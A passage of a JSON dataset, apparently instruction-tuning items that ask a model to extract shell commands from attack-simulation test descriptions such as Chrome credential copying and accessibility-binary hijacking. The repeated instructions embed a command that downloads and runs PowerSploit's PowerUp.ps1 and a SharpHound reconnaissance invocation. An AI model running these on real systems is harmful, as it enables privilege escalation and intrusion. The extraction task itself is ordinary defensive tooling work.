to zero 3. confirm that HISTSIZE is set to zero.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes an HTA Application using JScript script engine simulating double click.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.\nUpon execution, paths that contain bookmark files will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test submits a command to be run in the future by the `at` daemon.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n operating system discovery using get-ciminstance\nhttps://petri.com/getting-operating-system-information-powershell/", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify or create an file in /Library/StartupItems\n[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. \nOnce the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. \nSee https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module 